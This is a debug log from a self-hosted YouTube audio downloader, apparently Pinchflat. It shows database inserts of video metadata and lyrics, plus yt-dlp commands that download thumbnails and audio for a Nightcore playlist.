22:06:35.718 [debug] QUERY OK source="media_items" db=0.1ms idle=155.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 02:00:06Z], 1] 22:06:35.970 [debug] QUERY OK source="media_items" db=251.5ms idle=155.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#synthv #vocaloid #gumi\n\nWhere do queens go when everything is lost?\n\nThis is my first ever GUMI only song \\m/\n\nArrangement, Tuning and Video: kusabi\nArt: Nerukyuun\n\nTrack from the GUMANIA Rock and Metal album to release on 6.26.26!", "'DESCENT INTO MANIA' / GUMI SV2", "fcfd1359-a9a6-4f11-bcb0-e3348f4ef506", false, "dwPvXW-uSIs", 246, false, "https://www.youtube.com/watch?v=dwPvXW-uSIs", 37, "/downloads/Nightcore/Nightcore/2026-05-22'DESCENT INTO MANIA' ⧸ GUMI SV2[dwPvXW-uSIs].m4a", false, false, 1, [], 2, ~U[2026-05-22 02:00:06Z], ~U[2026-07-24 02:06:35Z], ~U[2026-07-24 02:06:35Z], "#synthv #vocaloid #gumi\n\nWhere do queens go when everything is lost?\n\nThis is my first ever GUMI only song \\m/\n\nArrangement, Tuning and Video: kusabi\nArt: Nerukyuun\n\nTrack from the GUMANIA Rock and Metal album to release on 6.26.26!", "'DESCENT INTO MANIA' / GUMI SV2", "dwPvXW-uSIs", 246, false, "https://www.youtube.com/watch?v=dwPvXW-uSIs", "/downloads/Nightcore/Nightcore/2026-05-22'DESCENT INTO MANIA' ⧸ GUMI SV2[dwPvXW-uSIs].m4a", false, 1, ~U[2026-05-22 02:00:06Z]] 22:06:35.970 [debug] QUERY OK source="sources" db=0.2ms idle=252.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:06:35.971 [debug] QUERY OK source="media_items" db=0.1ms idle=252.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-17 21:22:29Z], 1] 22:06:36.122 [debug] QUERY OK source="media_items" db=150.4ms idle=1.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by DistroKid\n\nWe Don’t Talk Anymore (But it hits different) · The Nostal Days · Anne Deville · Ray Flynn\n\nWe Don’t Talk Anymore (But it hits different)\n\n℗ Kenke Records\n\nReleased on: 2026-04-17\n\nAuto-generated by YouTube.", "We Don’t Talk Anymore (But it hits different)", "18e31665-ac4e-4506-9c39-f82adf665ec7", false, "iAH23TPVAjQ", 209, false, "https://www.youtube.com/watch?v=iAH23TPVAjQ", 38, "/downloads/Nightcore/Nightcore/2026-07-17We Don’t Talk Anymore (But it hits different)[iAH23TPVAjQ].m4a", false, false, 1, [], 1, ~U[2026-07-17 21:22:29Z], ~U[2026-07-24 02:06:35Z], ~U[2026-07-24 02:06:35Z], "Provided to YouTube by DistroKid\n\nWe Don’t Talk Anymore (But it hits different) · The Nostal Days · Anne Deville · Ray Flynn\n\nWe Don’t Talk Anymore (But it hits different)\n\n℗ Kenke Records\n\nReleased on: 2026-04-17\n\nAuto-generated by YouTube.", "We Don’t Talk Anymore (But it hits different)", "iAH23TPVAjQ", 209, false, "https://www.youtube.com/watch?v=iAH23TPVAjQ", "/downloads/Nightcore/Nightcore/2026-07-17We Don’t Talk Anymore (But it hits different)[iAH23TPVAjQ].m4a", false, 1, ~U[2026-07-17 21:22:29Z]] 22:06:36.122 [debug] QUERY OK source="sources" db=0.2ms idle=151.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:06:36.123 [debug] QUERY OK source="media_items" db=0.1ms idle=151.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-28 00:00:06Z], 1] 22:06:36.252 [debug] QUERY OK source="media_items" db=129.1ms idle=1.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["I found my Way 2 U 💙\nStreaming: cover.lnk.to/7H7pTk\n\n🔽 💙 Way 2 U CP + LP (Vinyl) EP Available for Pre-Purchase NOW 💙 🔽\nSales end 2026/06/08 18:00 (JST) / 2026/06/08 02:00 AM PDT \nEN: https://shop.hololivepro.com/en/products/ourokronii_1step_way2u\nJP: https://shop.hololivepro.com/products/ourokronii_1step_way2u\n\n⭐ Get a Limited Edition Mystery Poster Individually Signed by Kronii on purchase ⭐\n\n 【Credits】\nMV: Riguruma (https://x.com/riguruma)\nMV Illustration: Mameng (https://x.com/brmameng)\nOutfit Design: Lyusiola (https://x.com/lyusiola)\nLogo Design: mi-mi (https://x.com/__mmkmm)\n\n【Way 2 U】\nLyrics: JALTO, Ouro Kronii\nComposition: JALTO\nArrangement: JALTO\nChoreography: Miyuki Nishijima\nEP Jacket Design: mi-mi\nEP Illustration: unripesaga / 사가 (https://x.com/unripesaga)\nOutfit Design: Lyusiola (https://x.com/lyusiola)\n\nThank you so much to each person on the superstar team behind this project, we couldn't have done it without you!\nAnd thank you kronies for all your patience and support!\n\nAdditional Crediting\nPyeongchang Peace Font & Pyeongchang Font\nThe intellectual property rights for the Pyeongchang Exclusive Font belong to Pyeongchang-gun.\n----------------------------------------------------------------------------\n\n[Fan Work Guidelines]\nhttps://en.hololive.tv/terms\n\nRequest from hololive Production to underage viewers:\nPlease be sure to check the link below before viewing our content.\nhttps://en.hololive.tv/request-to-minors\n\n----------------------------------------------------------------------------", "【Original Song MV】Way 2 U - Ouro Kronii", "b23d4e27-947b-4333-bed1-00555d77a745", false, "Kr2lbQwHQeY", 120, false, "https://www.youtube.com/watch?v=Kr2lbQwHQeY", 39, "/downloads/Nightcore/Nightcore/2026-05-28【Original Song MV】Way 2 U - Ouro Kronii[Kr2lbQwHQeY].m4a", false, false, 1, [], 1, ~U[2026-05-28 00:00:06Z], ~U[2026-07-24 02:06:36Z], ~U[2026-07-24 02:06:36Z], "I found my Way 2 U 💙\nStreaming: cover.lnk.to/7H7pTk\n\n🔽 💙 Way 2 U CP + LP (Vinyl) EP Available for Pre-Purchase NOW 💙 🔽\nSales end 2026/06/08 18:00 (JST) / 2026/06/08 02:00 AM PDT \nEN: https://shop.hololivepro.com/en/products/ourokronii_1step_way2u\nJP: https://shop.hololivepro.com/products/ourokronii_1step_way2u\n\n⭐ Get a Limited Edition Mystery Poster Individually Signed by Kronii on purchase ⭐\n\n 【Credits】\nMV: Riguruma (https://x.com/riguruma)\nMV Illustration: Mameng (https://x.com/brmameng)\nOutfit Design: Lyusiola (https://x.com/lyusiola)\nLogo Design: mi-mi (https://x.com/__mmkmm)\n\n【Way 2 U】\nLyrics: JALTO, Ouro Kronii\nComposition: JALTO\nArrangement: JALTO\nChoreography: Miyuki Nishijima\nEP Jacket Design: mi-mi\nEP Illustration: unripesaga / 사가 (https://x.com/unripesaga)\nOutfit Design: Lyusiola (https://x.com/lyusiola)\n\nThank you so much to each person on the superstar team behind this project, we couldn't have done it without you!\nAnd thank you kronies for all your patience and support!\n\nAdditional Crediting\nPyeongchang Peace Font & Pyeongchang Font\nThe intellectual property rights for the Pyeongchang Exclusive Font belong to Pyeongchang-gun.\n----------------------------------------------------------------------------\n\n[Fan Work Guidelines]\nhttps://en.hololive.tv/terms\n\nRequest from hololive Production to underage viewers:\nPlease be sure to check the link below before viewing our content.\nhttps://en.hololive.tv/request-to-minors\n\n----------------------------------------------------------------------------", "【Original Song MV】Way 2 U - Ouro Kronii", "Kr2lbQwHQeY", 120, false, "https://www.youtube.com/watch?v=Kr2lbQwHQeY", "/downloads/Nightcore/Nightcore/2026-05-28【Original Song MV】Way 2 U - Ouro Kronii[Kr2lbQwHQeY].m4a", false, 1, ~U[2026-05-28 00:00:06Z]] 22:06:36.253 [debug] QUERY OK source="sources" db=0.2ms idle=130.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:06:36.253 [debug] QUERY OK source="media_items" db=0.2ms idle=130.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-23 14:39:42Z], 1] 22:06:36.477 [debug] QUERY OK source="media_items" db=222.9ms idle=1.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Song: Hero\nArtist: Skillet\nCover: Seraphina Rossi & Angelina De Luca & JXNNA\nAnime: Cyberpunk: Edgerunners 2\n\n❇️ Listen to our music on Spotify: https://open.spotify.com/artist/7aN8OCNif0ahcKC8D4dJa7\n💚 - \"But it hits different\" Playlists on Spotify: https://open.spotify.com/playlist/4opkFpcDEvzElyMoAIFBR1\n💚 - \"Best Rock Covers\" Playlist on Spotify: https://open.spotify.com/playlist/2fWaR4pn2ZqxoDG76U6RXt\n🎵 - Listen to Best Nightcore in this YouTube Playlist: https://youtube.com/playlist?list=PLGb-QRliHh7QiGq9krOS1cTpUUAcgwdCQ\n\nSeraphina Rossi\nhttps://open.spotify.com/artist/2loNTfuryAQSwN7bXzmwC3\nhttps://www.youtube.com/channel/UCWFPYvJabGylK66XXC63NkQ\nhttps://x.com/SeraphinaRossi_\n\n➡️ Song: https://open.spotify.com/track/1HWylmBoQjCUPERabfXW3F\n⬇️ Artwork by\n- Picture 1 https://www.pixiv.net/en/artworks/146668303\n- Picture 2 https://www.pixiv.net/en/artworks/146693248\n- Picture 3 https://www.pixiv.net/en/artworks/146761120\n- Picture 4 https://www.pixiv.net/en/artworks/146762526\n- Picture 5 https://www.pixiv.net/en/artworks/146788727\n- Picture 6 https://www.pixiv.net/en/artworks/146886613\n- Picture 7 https://www.pixiv.net/en/artworks/146922414\n- Picture 8 https://www.pixiv.net/en/artworks/146935125\n- Picture 9 https://www.pixiv.net/en/artworks/147113265\n- Picture 10 https://www.pixiv.net/en/artworks/147189123\n- Picture 11 https://www.pixiv.net/en/artworks/147200412\n- Picture 12 https://www.pixiv.net/en/artworks/147230649\n- Picture 13 https://x.com/QUASARCAKE/status/2072032281980793331\n- Picture 14 https://x.com/300beans666/status/2074124098935152890\n- Picture 15 https://x.com/7xAvmwhJECGRoj3/status/2072715591367233544\n- Picture 16 https://x.com/YONE_FateSealed/status/2072977032074678609\n- Picture 17 https://x.com/potentiallyfrog/status/2073177084097179928\n\n===============================\n\n📝 Hero Lyrics:\n\n[Verse 1: John Cooper & Jen Ledger]\nI'm just a step away\nI'm just a breath away\nLosin' my faith today\nWe're fallin' off the edge today\nI am just a man\nNot superhuman\nI'm not superhuman\nSomeone save me from the hate\n\n[Pre-Chorus: John Cooper & Jen Ledger]\nIt's just another war\nJust another family torn\nWe're falling from my faith today\nJust a step on the edge\nJust another day in the world we live\n\n[Chorus: John Cooper, Jen Ledger, Both]\nI need a hero to save me now\nI need a hero to save me now\nI need a hero to save my life\nA hero will save me just in time\n\n[Verse 2: John Cooper & Jen Ledger]\nI've gotta fight today\nTo live another day\nSpeakin' my mind today\nMy voice will be heard today\nI've gotta make a stand\nBut I am just a man\nI'm not superhuman\nMy voice will be heard today\n\n[Pre-Chorus: John Cooper & Jen Ledger]\nIt's just another war\nJust another family torn\nMy voice will be heard today\nIt's just another kill\nThe countdown begins to destroy ourselves\n\n[Chorus: John Cooper, Jen Ledger, Both]\nI need a hero to save me now\nI need a hero to save me now\nI need a hero to save my life\nA hero will save me just in time\n\n[Post-Chorus: John Cooper]\nI need a hero to save my life\nI need a hero just in time\nSave me just in time\nSave me just in time\n\n[Bridge: John Cooper & Jen Ledger, John Cooper, Jen Ledger]\nWho's gonna fight for what's right, who's gonna help us survive?\nWe're in the fight of our lives, and we're not ready to die\nWho's gonna fight for the weak, who's gonna make 'em believe?\nI've got a hero (I've got a hero) livin' in me\nI've gotta fight for what's right, today I'm speakin' my mind\nAnd if it kills me tonight, I will be ready to die\nA hero's not afraid to give his life\nA hero's gonna save me just in time\n\n[Chorus: John Cooper, Jen Ledger, Both]\nI need a hero to save me now\nI need a hero to save me now\nI need a hero to save my life\nA hero will save me just in time\n\n[Outro: John Cooper, John Cooper & Jen Ledger]\n(I need a hero)\nWho's gonna fight for what's right, who's gonna help us survive?\n(I need a hero)\nWho's gonna fight for the weak, who's gonna make 'em believe?\n(I need a hero)\nI need a hero\nA hero's gonna save me just in time\n\n===============================\n\n#nightcore\u200B\u200B #hero #skillet #butithitshard\n\n©️ COPYRIGHT " <> ..., "Nightcore - Hero (But it hits hard) (Lyrics)", "9622b214-0859-4f97-9cc9-151e37ce8535", false, "zo9o4OiilLg", 195, false, "https://www.youtube.com/watch?v=zo9o4OiilLg", 40, "/downloads/Nightcore/Nightcore/2026-07-23Nightcore - Hero (But it hits hard) (Lyrics)[zo9o4OiilLg].m4a", false, false, 1, [], 1, ~U[2026-07-23 14:39:42Z], ~U[2026-07-24 02:06:36Z], ~U[2026-07-24 02:06:36Z], "Song: Hero\nArtist: Skillet\nCover: Seraphina Rossi & Angelina De Luca & JXNNA\nAnime: Cyberpunk: Edgerunners 2\n\n❇️ Listen to our music on Spotify: https://open.spotify.com/artist/7aN8OCNif0ahcKC8D4dJa7\n💚 - \"But it hits different\" Playlists on Spotify: https://open.spotify.com/playlist/4opkFpcDEvzElyMoAIFBR1\n💚 - \"Best Rock Covers\" Playlist on Spotify: https://open.spotify.com/playlist/2fWaR4pn2ZqxoDG76U6RXt\n🎵 - Listen to Best Nightcore in this YouTube Playlist: https://youtube.com/playlist?list=PLGb-QRliHh7QiGq9krOS1cTpUUAcgwdCQ\n\nSeraphina Rossi\nhttps://open.spotify.com/artist/2loNTfuryAQSwN7bXzmwC3\nhttps://www.youtube.com/channel/UCWFPYvJabGylK66XXC63NkQ\nhttps://x.com/SeraphinaRossi_\n\n➡️ Song: https://open.spotify.com/track/1HWylmBoQjCUPERabfXW3F\n⬇️ Artwork by\n- Picture 1 https://www.pixiv.net/en/artworks/146668303\n- Picture 2 https://www.pixiv.net/en/artworks/146693248\n- Picture 3 https://www.pixiv.net/en/artworks/146761120\n- Picture 4 https://www.pixiv.net/en/artworks/146762526\n- Picture 5 https://www.pixiv.net/en/artworks/146788727\n- Picture 6 https://www.pixiv.net/en/artworks/146886613\n- Picture 7 https://www.pixiv.net/en/artworks/146922414\n- Picture 8 https://www.pixiv.net/en/artworks/146935125\n- Picture 9 https://www.pixiv.net/en/artworks/147113265\n- Picture 10 https://www.pixiv.net/en/artworks/147189123\n- Picture 11 https://www.pixiv.net/en/artworks/147200412\n- Picture 12 https://www.pixiv.net/en/artworks/147230649\n- Picture 13 https://x.com/QUASARCAKE/status/2072032281980793331\n- Picture 14 https://x.com/300beans666/status/2074124098935152890\n- Picture 15 https://x.com/7xAvmwhJECGRoj3/status/2072715591367233544\n- Picture 16 https://x.com/YONE_FateSealed/status/2072977032074678609\n- Picture 17 https://x.com/potentiallyfrog/status/2073177084097179928\n\n===============================\n\n📝 Hero Lyrics:\n\n[Verse 1: John Cooper & Jen Ledger]\nI'm just a step away\nI'm just a breath away\nLosin' my faith today\nWe're fallin' off the edge today\nI am just a man\nNot superhuman\nI'm not superhuman\nSomeone save me from the hate\n\n[Pre-Chorus: John Cooper & Jen Ledger]\nIt's just another war\nJust another family torn\nWe're falling from my faith today\nJust a step on the edge\nJust another day in the world we live\n\n[Chorus: John Cooper, Jen Ledger, Both]\nI need a hero to save me now\nI need a hero to save me now\nI need a hero to save my life\nA hero will save me just in time\n\n[Verse 2: John Cooper & Jen Ledger]\nI've gotta fight today\nTo live another day\nSpeakin' my mind today\nMy voice will be heard today\nI've gotta make a stand\nBut I am just a man\nI'm not superhuman\nMy voice will be heard today\n\n[Pre-Chorus: Jo (truncated) 22:06:36.494 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=zo9o4OiilLg --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/72/58/725896e858cf674db0201396583e5d07c6f1082ef29fb0b542502c4e3767f37a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:06:36.495 [debug] Running yt-dlp command for action: download 22:06:36.555 [debug] QUERY OK source="sources" db=77.5ms idle=224.1ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-07-24 02:06:36Z], ~U[2026-07-24 02:06:36Z], 1] 22:06:36.555 [debug] QUERY OK source="media_items" db=0.3ms idle=78.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 22:06:36.558 [debug] QUERY OK source="media_items" db=0.1ms idle=0.3ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 22:06:36.558 [debug] QUERY OK source="media_items" db=0.0ms idle=0.3ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 22:06:36.558 [info] No notification servers provided for source 1 22:06:36.653 [debug] QUERY OK source="settings" db=158.1ms idle=241.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:36.653 [debug] QUERY OK source="settings" db=1431.2ms idle=227.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:36.654 [debug] QUERY OK source="settings" db=0.5ms queue=0.3ms idle=94.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:36.654 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:36.654 [debug] QUERY OK source="settings" db=0.3ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:36.655 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:36.655 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=iAH23TPVAjQ --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/456/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/6c/ef/6ceff1344617f75e609f818fadf16165c124bb359c18aebab8979f733fb56ca4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:06:36.655 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=zo9o4OiilLg --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/05/12/051250c4c96532a32a961f51b0bffb3928957b8bb688d6b1a4ff5dc0c6a3caf8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:06:36.931 [debug] QUERY OK source="tasks" db=116.7ms queue=0.1ms idle=160.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [178, 1, ~U[2026-07-24 02:06:36Z], ~U[2026-07-24 02:06:36Z]] 22:06:37.071 [info] {"args":{"id":1},"id":8,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":118632175,"event":"job:stop","queue_time":399928,"attempt":6,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 22:06:39.709 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=iAH23TPVAjQ --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/456/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/6c/ef/6ceff1344617f75e609f818fadf16165c124bb359c18aebab8979f733fb56ca4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:06:39.710 [debug] QUERY OK db=0.0ms idle=1591.4ms begin [] 22:06:39.711 [debug] QUERY OK source="media_items" db=0.4ms UPDATE "media_items" SET "media_filepath" = ?, "media_downloaded_at" = ?, "nfo_filepath" = ?, "updated_at" = ? WHERE "id" = ? ["/downloads/Nightcore/Nightcore/2026-07-17We Don’t Talk Anymore (But it hits different)[iAH23TPVAjQ].m4a", ~U[2026-07-24 02:06:35Z], "/downloads/Nightcore/Nightcore/2026-07-17We Don’t Talk Anymore (But it hits different)[iAH23TPVAjQ].nfo", ~U[2026-07-24 02:06:39Z], 456] 22:06:39.711 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/456/metadata.json.gz", "/config/metadata/media_items/456/thumbnail.jpg", 456, ~U[2026-07-24 02:06:39Z], ~U[2026-07-24 02:06:39Z]] 22:06:39.966 [debug] QUERY OK db=255.4ms commit [] 22:06:40.114 [debug] QUERY OK source="media_items" db=147.0ms idle=1848.6ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [3472139, ~U[2026-07-24 02:06:39Z], 456] 22:06:40.114 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:06:40.242 [info] {"args":{"id":456},"id":175,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":18650871,"event":"job:stop","queue_time":1123729,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:06:42.036 [info] 